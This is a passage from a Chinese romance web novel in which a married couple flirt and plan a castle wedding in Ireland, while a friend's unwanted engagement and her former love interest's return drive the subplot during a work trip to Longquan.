被明晃晃忽视的周庭朔默默盯了她一会,最后直接起身将她拉回到自己的座椅上坐好,两手撑在扶手上,看着她。 “一晚上都在说别人的事,你的眼里是看不到我吗?” 夏声好看的杏眼略微向上,对上他不满的眼神:“你又怎么了?” 一句话,噎得他喉咙发涩,好像他是那个祈求关注而无理取闹的怨夫。 半晌,他无奈妥协:“今天婚纱也试过了,你准备什么时候嫁我?” 第74章 第74章变本加厉 再舒适的办公椅坐久了也难受,特别是被人困在这狭小的一隅,还盯着你的一举一动。 夏声就这样跟周庭朔对峙了几十秒,随后轻声笑出来。 “你干嘛一副如临大敌的样子,不就是个婚礼,我只是最近公司太忙了,又不是不办。” 她从前就是这个借口,推脱来推脱去,人就跑到国外。 周庭朔 不肯由她:“你们公司日营收多少?” “干嘛?”夏声警惕地看着他,“我知道你财大气粗,全资收购云声都是分分钟的事,但我不许你插手我的事业。” 她语气坚决:“我不想努力半天,最后落到别人口中,是无聊消遣开着公司玩票,是最后还要靠老公。” 公司员工私下里的议论她多少有所耳闻,大家说起来倒也并非恶意,只是这话她听得多了,难免介意。 甚至越想越生气,全力以赴要是被说成靠男人的话,那简直是抹杀她这一年来的努力。 沉浸在自我情绪的夏声并未注意到周庭朔的眸光流转,他好看的唇勾出一抹笑,低声问她。 “你刚刚说靠谁,再说一遍。” “靠老……”夏声刚刚完全没注意自己的措辞,这会儿一复述,才猛然反应过来。 见她突然收口,周庭朔抬手贴上她的脸侧,拇指若有似无地摩挲她的唇角。 “好声声,再说一遍。” 两人结婚一年,称呼从来都是名字,一时让她改口,夏声真是说不出来。 “你都听到了,还说什么。”她低头躲开他的视线,想要起身,又被他堵住去路。 周庭朔闲闲曲着一条长腿,身形压下来,高挺的鼻梁离她不过一两指的距离,呼吸落在她唇上。 “为什么不肯说,我想听。” “你要是不说,就别想走了。” 要挟,夏声可不吃这一套,她扯下周庭朔放在她脸颊边的手,向后靠在椅子上。 自下而上,状似无辜地看他。 “我本来也是来等你一起下班的,没想走。” 周庭朔不与她多言,下一秒直接欺身吻上来,力道不大,轻轻啄着她的唇瓣。 含混不清的话间或流露出来。 “你总要叫我的,看你是想现在叫,还是留到回家到床……叫。” 夏声的脸登时烧起来,不可描述的画面几乎同时穿插进她脑海。 怎么从前没发现,他这人这么……闷骚! 似乎为了佐证他的话,他进一步加深这个吻,湿暖的舌勾开她的齿缝,开始来寻她的。 椅子被他的力道推得向后退,直到撞上办公桌,才堪堪停下,周庭朔的手指已经从她脸颊边,落到她肩膀锁骨处,在那颗红色小痣处按揉。 夏声只觉得胸腔里的血液都燃烧起来,而桌上突然响起的座机铃声,就像扔进火里的爆竹,吓得她差点儿咬了他的舌头。 “电话电话!”夏声锤了他肩膀两下,才得喘气机会,“电话响了。” 周庭朔仍旧保持躬身抵着她的姿势,目光淡淡投向办公桌,又看回来。 “没关系,我们继续。”话落,眼看他染欲的眼神又落到她唇上,夏声又道,“可能是急事!” 电话声不合时宜地,响了没两声就挂断,空气又陷入一种暧昧不清的寂静。 甚至连她不自觉的小声吞咽,都清晰可闻。 “如果是急事,下面的人大概会来找我,不用担心。” 这下才是更要担心,一会下属敲门,看到这幅场景,不知又要传出什么离谱传言来,那她下次哪还有脸再来。 夏声算是领教了,起码在他的地盘,不能跟他比淡定。 “好了好了,我……” 四处游离的目光最终还是落回他的脸上,夏声压低着声音,有些别扭地叫了一声:“老公。” “嗯。”他应声的嗓音不似往常平静清冷,带着明显的温柔宠溺,和一丝丝暗哑。 像仲夏夜里,吹过的燥热晚风,该死的有些性感。 夏声低着头,也不知是被他的声音蛊惑,还是后知后觉的羞臊,脸颊发烫时,又听他靠在耳侧的低语。 “我很喜欢,以后多这么叫我。” “老婆。” 得偿所愿又心满意足的周庭朔终于直起身,而办公室的门也在同一时间被敲响。 他迅速看眼夏声,随及淡定地让她就坐在那,这才扬声让门外的人进来。 虽然此刻面前没有镜子,但夏声透过面前玻璃窗的影子,隐约能看到自己红肿的唇和泛水的眼眸,好在她是背对门口,高大的椅背能将她充分遮住。 周庭朔已经走到办公室另一边的沙发坐下,事业部的人将需要审阅的文件递过去,余光却不时向办公桌后飘。 几分钟后,抱着文件回楼下的同事找到旁边的小伙伴八卦。 “以前听说周总的宠妻人设,我一直持怀疑态度,这下不得不信了。” “怎么了?” “你懂的,周总工作最讲求效率,尤其加班,但是刚刚我去他办公室,发现他把办公椅让给老板娘坐着赏风景了,我去送审文件都被指去另一边,估计是不想打扰老婆。” “真的假的?” “天呐,打死我也没法把早会上那个冷脸王跟你的描述联系在一起,这什么极地反差。” 又几分钟,回味过来的小伙伴感叹。 “我算是明白为什么公司论坛会有老板跟老板娘的cp粉了。” “那也确实好磕。” 被磕的两人,一个正在开电话会议,一个正坐在沙发上看订票信息。 夏声这两天要去一趟龙泉,虽然跟Mahel的长期合作明年才会涉及青瓷主题,但夏声有些初步设想,需要先来跟蒋师傅沟通,是否可行。 安真最近没什么工作,夏声怕她整天闷在家里胡思乱想,就想带她一起去。 群聊里,安真听她的提议,兴趣寥寥,倒是周仪娇跃跃欲试。 【周仪娇:正好眼下的项目结了,我这几天就剩一口气吊着,得赶紧出去玩两天续续命,带我一个!】 【安真:你们去吧,拍点照片给我看看得了,我懒得动。】 【夏声:我食宿全包,你去不去?】 【安真:龙泉中心五星级假日酒店,总统套带全景泳池,点击直达链接https://************】 【周仪娇:大拇指.jpg】 刚订好酒店,那边周庭朔已经关掉会议,正起身取下两人外套走过来。 “笑什么呢?” 夏声穿好外套,将手机揣进口袋,挽着他的手一起向外走。 “后天我要去龙泉出差,准备带着安真和娇娇一起。” 秘书处的人目送他们进入电梯,周庭朔转头又帮她把拉了一半的外套拉链拉到顶。 她的手伤早已养好,他也不担心她出门。 “好,去那忙完工作可以和她们多玩几天,有什么喜欢的就买下来,费用我报销。” “难得见你这么大方。” 闻言,周庭朔略一挑眉。 夏声立刻解释:“我是说,你这么大方让我在外面多玩几天,没有催我早回来。” 那是因为他过两天也要出差,这次去西北的几个生物基地巡察,什么时候能回还未定。 当然,他还是接下“大方”的称赞,没有说自己是顺水推舟的人情。 “但我有个要求。” “什么?” “今晚就结束你的独居计划,搬回主卧。” 其实距离一个月的约定,也没剩多少,一想到后面要好几天不见,她也做个顺水推舟的人情。 “那我勉为其难吧。” 当晚,周庭朔打破了自己一贯的休息时间,几乎是回到家就进了卧室。 他今天刚得了新称呼,似乎真的喜欢得紧,缠着情动的夏声一遍又一遍的重复。 卧室一片昏暗,只有他灼烫的气息落在她耳边。 “声声,老婆,别忍着,再叫我一声,听话。” 被折腾得毫无脾气的夏声,胸口急促起伏,却不肯再开口。 但她越不出声,他越卖力,直到她真恼了,张嘴用力咬上他的肩膀。 “不是你说的选一个地方叫,你个骗子!” 她办公室叫完,回来反而变本加厉。 周庭朔由着她咬,却理直气壮不肯放人。 “我严守你的约定,独守空房一个月,你总要给些奖励。” “我是三十岁,不是六十岁,还做不到无欲无求。” 夏声:我看你不像三十岁,像十五岁,有使不完的牛劲。 * 之后没几天,夏声的邮箱里收到了几个婚礼企划案。 周庭朔抽空给她打来电话,问她意见。 “我看哪个都好麻烦。” 似乎预料到她又想说什么,对面率先开口:“不麻烦,流程可以尽量简化,你只需要选一个大致喜欢的风格和方向,其他的准备我来做。” “可我还要亲自参加啊,还要提前确认亲友名 单、试妆、彩排……” “声声。” 夏声笑笑,收起她故作抱怨的语气,坐在电脑桌前翻着邮箱里的照片。 “其实什么风格都好,你知道的,在这些方面我不挑剔。” 其实从去了法国开始,夏声明显能感觉到周庭朔面对她时有些隐隐地患得患失。 大概她之前说走就走,说离就离的态度实在太坚决,没给他反应时间,也没有接受过程,所以他心底的不确定性总是时不时冒头。 人的真心不该被辜负。 她放轻了语气:“婚礼风格我会好好看的。” “还有,嫁给你这件事,我不会反悔。” 第75章 第75章想我了? 南方的冬天,相对温婉柔和,连带着风雨都打碎了力度,细细碎碎飘落。 三姐妹飞机刚落地,吸一口湿润微冷的空气,长舒一口气。 “真好,京市的空气快把我抽成干尸了。” “别提了,昨天睡前忘擦面霜,今早起来脸崩得差点成吊梢眼,美貌大打折扣。” 夏声回头看着妆容精致的安真:“大明星你已经够漂亮了,打折也是一百分。” 定好的接机车还没到,外面又下着小雨,好在她们不赶时间,等在出口厅门前。 没多久,一辆商务车停在她们面前,其他两人以为是车到了,刚要上车,被夏声拉住。 车牌不对。 车门从内打开,一张黑色伞面缓缓撑开,边缘上移,露出一张意料之外的脸。 安真勾下鼻梁上的墨镜,怼了下旁边的夏声:“谁啊?” “苏晋,你怎么在这?” 听到名字,安真转了转眼珠,又看向另一边没出声的周仪娇。 随后回过头来,打量起眼前人。 模样端正,身形挺拔,气质沉稳,倒是不差…… “你就是苏晋啊。”她“啧”了一声,“你来干嘛,找娇娇?” 他上前一步,挂着温和的笑跟她们打招呼,眼神却始终在旁边的周仪娇身上。 “我刚回国,你们要去哪,我送你们。” 安真可不饶他,接着追问:“你回国不回京市,怎么,有亲戚在龙泉?” 苏晋是地道的京市人,他来龙泉自然不可能是探亲。 “娇娇,带朋友一起上车吧。” 一句话,表明他的来意。 周仪娇一直面无表情地站在旁边,不搭话也不看他,只是握着行李箱把手的指节有些泛白。 夏声:“你是有话跟娇娇说吧?” 恰好她们订的车驶来,夏声拉着还要说话的安真往后走,顺带推了周仪娇一把。 “我们先回酒店,你跟他好好聊聊。” 风裹挟着细丝一样的雨,像雾洒下来,周仪娇抬头看眼擎在她头顶的伞,沉默不语,最终抬手推开。 随及转头拉着行李箱追上前面的人,闪身钻进车厢里。 关上车门的前一刻,她与还留在原地的苏晋对上视线。 对方悠长的目光里,深深的悔意穿过风缠住她的目光,又被她隔绝在车门外。 夏声疑惑:“你怎么过来了?” 周仪娇神色如常:“一会不是订了温泉spa,你俩可别想甩开我自己去。” “就是,跟他有什么好聊的,当年不珍惜,现在来找什么存在感。”安真现在对男人是见面三分仇,何况是大名鼎鼎难以攻略的苏晋。 “你追了他五年,五年孩子都能打酱油了,换他来屁都没一个,你别给他脸,让他觉得自己还是个人物。” 她本就是个快嘴,再加上替周仪娇不值,个人情绪带入极快。 怕她说得太过火,夏声赶紧冲她使了个眼色。 “好了,一会到酒店先休息会,既然是出来放松的,就别想那么多。” 夏声在手机上给周庭朔报了平安,顺嘴说起苏晋来的事。 【夏声:他怎么知道我们这时候会在机场?】 答案显而易见,但周庭朔自有理由。 【周庭朔:我说的,想要享受成果,他总得付出点努力,你也别帮他,让他吃点苦头,应该的。】 无论此刻周仪娇多么坚定,周庭朔确信最终她不会真的嫁到沈家。 一是她自己不喜欢。 二是沈余竟过于自信。 似乎觉得说好的婚事就是板上钉钉,如今沈余竟连表面功夫都不做。 旁人也许以为他们是水到渠成的家族联姻,但周庭朔私下调查过,沈余竟与他身边的助理交谊匪浅。 不仅六年没换过人,两人更是形影不离,甚至那助理住着的地方,都是沈余竟的房产,有时他还会留下过夜。 而那助理,是个男的。 这远超普通雇佣关系的感情自然放不得台面上,他想找个挂名妻子做挡箭牌,却不该找到周仪娇头上。 所以就算周仪娇要嫁,周庭朔也不会同意。 【夏声:你怎么还拿起大舅哥的作派,怕苏晋追得太轻松?】 【周庭朔:我追你可是颇费了一番心思。】 【夏声:怎么?你有怨言?】 看着手机屏幕都这句话,周庭朔甚至能想象出她说话时的语气,理直气壮的骄横,尾音带着挑衅的上扬。 他走出电梯,坐进车后座,手指飞快地回复她。 【周庭朔:哪敢。】 【周庭朔:我一会的飞机,晚上落地给你打电话。】 【周庭朔:大概十点,你别睡太早,我想听听你声音。】 这边夏声正在酒店前台办入住,安真看她一直低着头自顾自地笑,靠过来瞟了一眼。 随后表情嫌弃地退回去。 “咦,腻歪死人哦,还听听声音,怎么要不要你唱摇篮曲给他啊。” 周仪娇还不知道怎么回事,正看过来,被安真挡住。 “快别看,是小情侣的廉价狗粮,咱不吃。” “什么,我哥撒狗粮?天呐,地球要毁灭了?”周仪娇一副震惊表情,“他这个铁树真会开花啊。” 两位单身人士大受刺激,决定单方面孤立夏声,于是晚上出去泡吧时特意没带上她。 刚好夏声还要整理下资料,她们是来玩的,但她是来工作的,明天还要去找蒋师傅,需要核对的东西不少。 周庭朔的视频打过来时,她正抱着电脑,在总统套的吧台边回邮件。 她随手接起来,看眼时间,刚好过十点。 屏幕上先是莹白的天花板,紧接着画面扫过,变成笔挺的西装与纯白的衬衫领口,自下而上的视角,只能看到周庭朔线条流畅的下颌线,和他高挺的鼻梁。 “你刚到酒店?” 对面“嘀”的一声,似乎是刷房卡的声音,画面里又变了光线,通亮的灯光下,手机屏幕终于被平稳放在某处。 周庭朔站定,一边解西服扣子,一边看她。 “嗯,怕你要早睡,先跟你说两句话。” 他将西服外套搭在椅子上 ,单手解下领带,又松了两颗衬衫扣子。 屏幕里的夏声散着柔顺的头发,穿着一身浅橘色泡泡袖长款睡裙,撑着脸颊视线落在屏幕外。 “你想说什么?”她随口应和,注意力显然没在他这里。 “很忙?晚上怎么没出去走走?” 夏声敲下回车键,转过头来:“忙啊,她们去玩去了,我得把资料过一遍,明天要用。” 恰巧门铃响起,她抬头看一眼,道:“估计是我要的咖啡到了,等我一下。” 她刚弯腰跳下高脚凳,就听周庭朔叫了她一声。 “夏声,披件外套。” 睡裙十分宽松,领口开得也不吝啬,她刚刚一弯腰,几分春色便落入他的眼,周庭朔眸色一闪,下意识便叫住她。 夏声停下动作,随后低头看了眼自己的衣服,后知后觉地“哦”了声。 等她端着咖啡回来,镜头对面的人又不见了。 “周庭朔?” “嗯,我在。” 像是佐证,他将镜头转下角度,刚好可以看到他在收拾的行李箱。 夏声见他拿出干净衣服,知道他应该要去洗漱了,于是又问他还有事要说没。 “有点事。”他将手机拿起来,对上屏幕上夏声放大的侧脸,笑了笑,“你怎么离这么近?” “哦,你刚刚离得太远,我听不太清你说什么。” 说着她又将手机放回去:“你说吧,我听着呢。” 两人隔着近千里,聊了起来。 几分钟后,夏声听明白,总结起来。 “也就是说沈余竟听说了苏晋和娇娇的事,并且还知道苏晋回国来找娇娇了,但是他无动于衷?” 这会儿夏声资料也不看了,捏着咖啡杯里的勺子不停地搅,也没见喝一口。 就连视频对面场景变成了浴室,她也没注意。 直到流水声打破她的神思,夏声视线转回,才发现屏幕里并没人,而是变成了烫金勾线的瓷砖顶。 薄薄的水汽飘来,昭示着洗澡的人离得不远。 她“当啷”一声松开搅拌勺,有些尴尬地别开视线,虽然本来也没看到什么。 “要不先挂了,等你洗完再说?” “不用,你说,我听得到。” 熟悉的磁性声线,混杂在浴室特有的氛围音里,无端让夏声端起咖啡喝了一大口。 “哦,好。”她努力摒除脑海里循声自动生成的画面,继续刚刚的话题,“那个沈余竟就这么淡定,他不怕苏晋把娇娇追回去?” 流水声短暂停了一会:“他不是淡定,应该是无所谓。” “啊?”夏声顺着他的话猜测,“难道他不想跟娇娇结婚?” “也不能这么说,他有他的打算。” 等到周庭朔将自己查到和推测的情况说得差不多,夏声已经气得脸发白。 她蹙着眉,将喝了一半的咖啡推到一边。 “他有没有道德,如果娇娇真跟他结婚呢?” 周庭朔关掉淋浴,随手围上浴巾:“结婚对他来说也没什么,一个正牌妻子做他地下情人的遮羞布,他更省心。” 就算婚事不成,是对方原因悔婚,至少在一段时间内,沈余竟也有理由搪塞家里。 “他想得美!” 夏声怒气冲冲拿起手机,转而去倒了杯冰水。 喝了两口刚把怒火压下去点,转头看到屏幕里画面,脸又热起来。 镜头并非直对着,只倒斜着露出一部分,大概周庭朔拿着手机要出浴室,镜头刚好扫到他还挂着水珠的胸腹。 灯光再一次转换,人应该是回到卧室,没了湿润的雾气,屏幕里的皮肤纹理和肌肉形状变得更加清楚。 夏声咬着下唇,看了好几秒,镜头才一晃变成周庭朔清爽的五官。 他噙着笑:“你怎么这幅表情?” 握过冰水的手心贴到脸上偷偷降温,夏声故作镇定:“我表情怎么了?” 秀色可餐是真的,但她表情应该不至于太……露骨吧。 眼看她别开眼神,周庭朔适时添上一把火:“怎么,想我了?” 总共分开不足二十四小时,谈什么想不想。 夏声收敛表情:“还好,没怎么想。” 听到她的回答,周庭朔只是扬了扬眉,随后将手机放到合适位置,专注擦头发。 还不忘一本正经地继续跟她说周仪娇的事。 “这几天不论她跟苏晋进展如何,你先不要让她松口。”他动作不紧不慢,几缕半干的碎发垂到眼前,又被他拢到脑后,“等我回去先找沈余竟把事谈明白再说。” 如果是周仪娇为爱悔婚,那就是平白坏了周家的名声,让沈余竟捡个便宜了。 夏声果断答应,眼神却不自觉被屏幕里的画面吸引。 镜头恰到好处地照到周庭朔骨肉匀称的上半身,配合着顶光打下的阴影,每一处线条都完美得好像是艺术家专门雕琢的。 她越看人越渴,干脆将杯里的水都喝干净,随后拿起手机关电脑。 “没事了吧,那我先挂了啊。” “声声。” “嗯?” “我想你了。”他拿起手机,认真地看了她一眼:“早点睡,晚安。” 夏声抿唇,看着已经返回聊天界面的手机,心跳却不自觉加快。 不过是看了几眼胸肌腹肌,听他说点情话,嘴角就不自觉翘起来。 她低声抱怨:“这还让人怎么早睡啊。” 当晚,她果然没出息了…… 第76章 第76章忘记屏蔽他了 枕边手机的闹铃还没响,夏声却猛地睁开眼。 她还未从梦里的情境恢复,按着剧烈起伏的胸口,心跳咚咚。 周庭朔勾人的嗓音和灼烫的气息仿佛还在她耳边,身体里那抹被撩起来的欲望也足够真实。 真实到夏声有些羞恼。 几分钟后,她用被子捂住脑袋。 真没出息啊,竟然因为昨天跟他视频,就做了那样的梦。 不过她没在床上耽误太久,等收拾好准备出发时,不过才早上九点。 安真在隔壁房间伸出毛茸茸的脑袋,见她已经穿戴整齐准备出门,顿时揉揉眼醒了盹。 “你现在就走?” 原本夏声是准备自己去,没想到安真极力要求要跟着。 等出门时已经又过半小时。 车上,夏声给周仪娇发消息,说下午她们就回去。 而收到信息的周仪娇十二点多才起来,懒洋洋下楼准备去隔壁商场觅食,却被人堵在酒店门口。 她看着一脸有话要说的苏晋,一天的好兴致都没了。 “娇娇,我们一起吃个饭。” “我还是习惯你叫我周小姐。”她面无表情地看他一眼,“还有,我们没有任何关系,没必要一起吃饭。” 这句话,是当年他拒绝她时说过的,她原样奉还。 周仪娇甩了甩头发,昂着头从他身边走过。 手腕被擒住时,她恼怒地回头瞪他,苏晋似乎铁了心要跟她聊一聊,直接将人拉走,塞到自己车上。 “苏晋,你有病吧。” 车门被上了锁,周仪娇试了两下没推开,冷着脸坐回座位上。 苏晋将一个纸袋递过来:“还没吃早饭吧,我给你带了你喜欢的奶黄包。” 纸袋举在那半天,最终被放在扶手箱上,苏晋兀自笑笑,略有落寞。 “娇娇,我还有不到三个月就能结束外派。” “你再给我三个月时间,好吗?” 周仪娇看着马路上手挽手的情侣走过,眼底没有一丝波动。 “说完了吗,说完了我要下车了。” 苏晋转头看着她:“我知道之前我伤害了你,你想要如何惩罚我都好,但你不能跟沈余竟结婚。” “哦,你还知道我要结婚了,你觉得这样困住别人的妻子,是君子所为吗?” “娇娇,你别这么说,你不是别人的妻子。” 像是听到什么可笑的事,周仪娇笑着笑着眼泪都出来了。 她抬手擦掉,转过头与他对视。 “我要跟他订婚的时候,你不知道吗?”周仪娇心里明镜一般,“你知道,但你什么都没做。” “现在这是闹哪出,浪子回头?” “这么多年,你但凡给过我一点回应,但凡……”她说不下去,声音哽在喉咙里,吐不出又咽不下。 感受到眼角的温热,她抬手挡他伸过来擦泪的手,却被苏晋箍住手腕。 随及便被他扯进怀里。 周仪娇痛恨自己没有出息,眼泪几乎瞬间倾泄而下,止也止不住。 她这些年实在太苦了,苏晋从前不肯 给她一点甜头,却在她完全放弃的时候,转身来找她。 让她如何不纠结,如何不遗憾。 可是现在他们已经没有回头路了。 苏晋紧紧拥着怀里啜泣的人,一下一下吻着她的发顶,心脏像是被压轧机碾过一般,疼得喘不过气。 慢慢的,感觉到周仪娇的情绪慢慢平复下来,他才再次开口。 “这些天,我一直在想我们的过去,从前是我顾虑太多,总认为我跟你不是一个世界的人,你只是短暂的新鲜,总会有抽身离开的一天。” “可现在我才明白,感情不是理智能控制的,我无法眼睁睁看着你嫁给别人。” “你能再给我一次机会吗?”他语气试探,甚至有些小心翼翼,“这次换我来主动,以后绝不让你再受一点委屈。” 周仪娇从他怀里退出来,垂着眼看不出表情。 半晌,微微扯动嘴角。 “我知道了,你打开车门,我还有事。” 苏晋没得到自己想要的回答,但他知道也不能逼她太紧,于是收回手,握住方向盘。 “你要去哪,我送你。” “开门,我自己走。” 她下车前,苏晋将装着奶黄包的纸袋递给她,周仪娇随手接过,转身下车。 利落的身影越走越远,没有回过一次头,苏晋的视线跟着她穿过马路,直到看到她将纸袋扔进路边的垃圾桶。 * 再次到蒋师傅的工作室,对方铺开好大阵仗专门等夏声。 龙泉青瓷被她带到法国的事简直成为蒋师傅的每日必讲,但凡有人来访都要提上一嘴。 这回更是带着亲传弟子一起跟她见面。 安真没来过,在工作室里好奇地四处转,蒋师傅见她感兴趣,就让徒弟带她去看看制作流程和正在做的几批作品。 等夏声在这边跟蒋师傅聊完具体合作想法,安真已经看了一大圈回来。 她坐在夏声旁边,凑过来问:“你们聊完正事了吗?” “差不多了,怎么了?” “那该我聊了。”安真赶紧坐直,一本正经,“蒋师傅,我想将咱们青瓷的制作工艺全程拍一个视频,发到网上做推广,您愿意吗?” 她从前就是网红出身,找热点的嗅觉还是很敏锐的。 蒋师傅笑笑:“这没什么不愿意的,但以前我们自己也拍过,包括来过不少媒体人也走马观花的做过些科普视频,都没什么水花。” “你要是想拍,我们也欢迎。” 安真有她自己的想法,拍着胸脯跟他保证,这次一定拍出些明堂来。 回程路上,夏声问她什么打算。 “我总要谋个出路啊,娱乐圈肯定是混不下去了,我准备继续做视频。”她叹口气,“但我不想再做穿搭博主了,挺没意思的。” 视频博主想要转型需要考虑的事情并不少,特别是她涉足的还是具有专业门槛的非遗。 夏声有些担心。 “这种视频变现可能需要很长的周期,至少起号就不那么容易。” “不然你先来我公司,做个文职,好歹有个稳定收入,业余再做账号。” 安真果断拒绝。 “我知道你为我好,怕我饿死,但我就不是老实坐班的性格,让你白掏工资养我,我可不好意思。” 她拍拍夏声肩膀:“放心吧,我已经联系了几个平台,以后会做直播带货。” 再怎么说,她也做过几天公众人物,好歹有些流量号召力,去做直播带货也有市场。 赚点钱还是不难的。 不过就是要能拉下脸,毕竟明星嘛,都觉得去直播带货很掉价。 但对安真来说,能赚钱就好,她拉得下脸来。 两人回到酒店跟周仪娇汇合,很快就发现她情绪不太对。 纵使她极力掩饰,还是被安真追问出来。 “这个苏晋,雨停了想起送伞了,早干什么去了,现在谁搭理他。” 眼看着周仪娇心情低沉,她果断决定:“走,姐姐带你潇洒去,把这狗男人忘了。” 三人风风火火跑到龙泉最大的酒吧,安真轻车熟路,点了些酒精度低的特调酒,让她们忘掉烦恼,尽情放飞。 酒吧里灯光晦暗暧昧,幽蓝的光束时不时扫过,映出舞池中扭动的年轻身体,夏声很少来这种地方,被震耳的音响声吵得头疼。 大概因为她们的卡座离舞池最近,三个年轻女孩又极其惹眼,很快就有人前来搭讪。 长得抱歉的一概被安真的毒舌给赶走,她带着鸭舌帽只漏出半张脸,也不怕被人认出来。 夏声坐在最里边,手机屏幕上是周庭朔的消息。 一张商务宴请局的照片,配字:很无聊。 她低头笑着打字,还没等发出去,被安真抽走手机放到一边。 “走,那几个小帅哥邀请咱们跳舞去呢。” 夏声抬眼看了看,几个笑容热烈的年轻人,正站在安真身后的栏杆冲她们招手。 “我不去了,里面又热又挤,你们去吧。” 刚好扔在卡座上的手机屏幕亮起来,是周庭朔的电话。 她摆摆手示意她们先去,转身捂着听筒接起电话。 比起她这边嘈杂的环境,周庭朔那边明显安静许多。 “在忙什么,不回信息。” 不过才几分钟没回,他就来兴师问罪。 “你不是在应酬,怎么想起打电话。” “出来透口气。”似乎注意到她这边声音,又问,“你在哪呢?” 夏声抬头,准备出去找个安静点的地方说话,刚好看到不远处的出口标识。 “在酒吧,娇娇因为苏晋的事正心烦,我跟安真陪她出来散散心。” 她边说边推开人群,只是还没等走远,就被安真叫住。 由远及近的声音传来:“声声你去哪,快跟我去那边,主舞台跳舞那几个小哥身材真不错,那腹肌人鱼线,我去极品。” 夏声说着不去,安真好像没听到,一股脑拉着她往那边走。 没办法她只能匆匆跟电话那边的周庭朔说回头再聊,就挂了电话。 舞池中央的台子上,男人穿着黑色紧身工字背心,随着音乐摆动身体,不时还要撩拨下台下的观众。 而在他每一次拉起衣服下摆,露出条块分明的八块腹肌时,都能掀起台下一片浪潮。 周仪娇很快融入这火热的氛围,脸上终于露出笑容,特别是当男人跪在舞台边,拉起她的手摸向他的腹部时。 隔着安真,夏声都听到她的尖叫声。 而当男人转到夏声这里,准备故技重施时,夏声赶紧摆手,示意不用了。 旁边的安真可不管,推着她上前,还没等她反应过来,手已经按到那腹肌上。 她几乎瞬间就收回了手,然后示意男人可以往下一位了。 腹肌男很好,但她摸过更好的,倒也没那么稀罕。 疯狂了半宿,直到午夜几人才从酒吧出来。 安真与周仪娇纷纷往群里发着今天拍下的照片,几分钟后,两人又不约而同地发了朋友圈。 还没等到酒店门口,周仪娇突然惊呼一声。 “完了!忘了屏蔽我哥了。” 她看向夏声,把手机上周庭朔的留言给她看。 只有两个字:删掉。 她朋友圈的配图里,有她们摸腹肌男的照片,她哥以前根本不管她泡吧的事。 所以,只可能是—— 下一秒,夏声接到了周庭朔的视频电话。 第77章 第77章他的完美身材 周仪娇一副抱歉的眼神,拉着安真先走。 落后两步的夏声犹豫一下,将视频切换成语音才接通。 “你应酬完了?” 周庭朔的声音平静,听不出异样:“嗯。” “晚上玩得开心吗?” 开心倒还好,夏声不太喜欢这么嘈杂热闹的地方,但听到他这么问,勾起唇笑笑。 “挺开心的,下次带你一起来。” “都是年轻人,气氛挺好的。” 她低着头打电话,没关注前面的情况,等到酒店门口,才发现有人正在那等着。 看样子还不是等了一时半会儿。 安 真看到苏晋就没个好脸,周仪娇更是话都不想多说一句。 但对方似乎很执着,拉着她不肯松手。 夏声顺嘴就把这边的情况告诉周庭朔:“大晚上的,他还来找娇娇,要不我让他回去吧。” 对面沉默一瞬,随后开口。 “有人管管她也好,省得玩野了。” 这话可有点意有所指,夏声走到安真旁边示意她先回去,给这两人留出说话空间。 等她们回到酒店房间,她才回电话那头。 “去泡吧就是玩得野了?你是想说她还是想说我?” 她进了浴室,将手机免提,开始对着镜子卸妆。 周庭朔轻笑:“哪敢说你,不过你说下次让我跟你一起去就算了。” 他鲜少有在意自己年龄的时候,但听她今天说酒吧里都是朝气蓬勃小年轻的时候,周庭朔突然想起,他今年已经三十一了。 突然就有了那么点危机感。 “对了,等你回来有时间把婚礼宾客名单整理一下。” 夏声卸完妆,正准备去洗澡。 听他说起这个,动作一顿。 “不是还早吗?” 两人的婚期讨论了几次,最终定好一个月后于爱尔兰举行古堡婚礼。 仪式的流程和需要准备的东西一概由专门的策划团队负责,只是邀请名单要她自己定。 前两天她外公林清江还特意打来电话,询问具体日期。 平日不见他关心,但婚礼那天周家重要人物都会出席,他肯定要到场。 夏声想起夏国理,不知道出国来回这一趟老爷子身体吃不吃得消。 “那你等我这两天问问爷爷那边,其他人都好确定的。” 两人又讨论了几句,夏声就准备去洗澡了。 “你快睡吧,一会我也睡了。” 对面传来窸窸窣窣的声音,紧接着是开门声。 “一会凌晨三点要出发去呼市,不睡了,怕起不来。” 原本他可以睡几个小时,但中途给她打电话,听出她在酒吧玩,心里多少还是有些记挂。 这会儿她回了酒店,他也没什么睡意,干脆起来收拾行李。 “啊?怎么赶这么早的飞机?” “出差行程总有些突发情况,很正常,你快睡吧。”他顿了顿,“晚安,老婆。” 挂断电话,夏声摸了摸无名指的对戒,嘴角不自觉就浮上一抹笑。 随及,她在自己大学的寝室群发了婚礼邀请。 第二天早上醒来时,夏声一打开手机,就看到99+的消息。 群里已经炸开锅。 【金楠楠:路特尔斯顿城堡,这什么地方啊?】 【赵茹:没看下面地址写着呢,爱尔兰。】 【金楠楠:等等,爱尔兰,英国的那个爱尔兰?】 【赵茹:英国的是北爱尔兰……】 【沈习诗:下个月正好是假期,我砸锅卖铁攒个机票钱也要去,高低看看电视上演的那种古堡婚礼是怎么个事!】 【赵茹:可以,我能请几天年假,加上春节假期,在那还能玩几天。】 【金楠楠:不是吧,就我惨,我出国要领导审批同意……】 夏声快速过完聊天记录,指尖噼里啪啦回复她们。 【夏声:不用攒钱,整趟的食宿机票我们都包了,你们只要准备好时间就行。】 【夏声:@金楠楠你好申请吗,实在为难的话我们只能给你拍些视频了。】 发完她就去忙自己的了,等中午闲下来,群里消息又满屏都是。 无非都是夸她的彩虹屁,连带着周庭朔都给赞美了一番。 就连金楠楠都打包票,哪怕抱着领导大腿,也要把出国审批求下来。 * 在龙泉这几天,夏声除了去工作室,偶尔还会去博物馆,艺术馆看些展品找灵感。 周仪娇最初还跟她去过几次,后来苏晋总是跟着,她也就作罢。 只是两人你追我躲的,倒没见有一点进展。 周庭朔所担心的,周仪娇会早早答应苏晋的事,怕是根本不会发生。 等龙泉这边的事都办完,夏声带着周仪娇先回了京市,安真则留下来。 她的视频从筹备到拍摄时间不短,还要在龙泉这呆一阵子。 回到京市第二天,周庭朔也结束出差。 当天夏声忙着公司的事,晚上回西苑吃饭,才发现家里气氛凝重。 薛宁玉脸上满是愠怒,又唉声叹气有苦难言的样子。 周仪娇坐在一边,看到她来撇撇嘴苦笑。 偏厅的周庭朔打完电话回来,跟夏声对视一眼,沉声开口。 “已经安排好了,明天我会让媒体那边发解除婚约的消息,沈家自认过错方,具体就由他们去解释吧。” 这处理方法是最稳妥的,但未必解气。 只是他们都是有头有脸的人家,真戳穿事实撕破脸皮,两家脸上都没光,也只能这样。 薛宁玉看了周仪娇一眼,默默坐回椅子上。 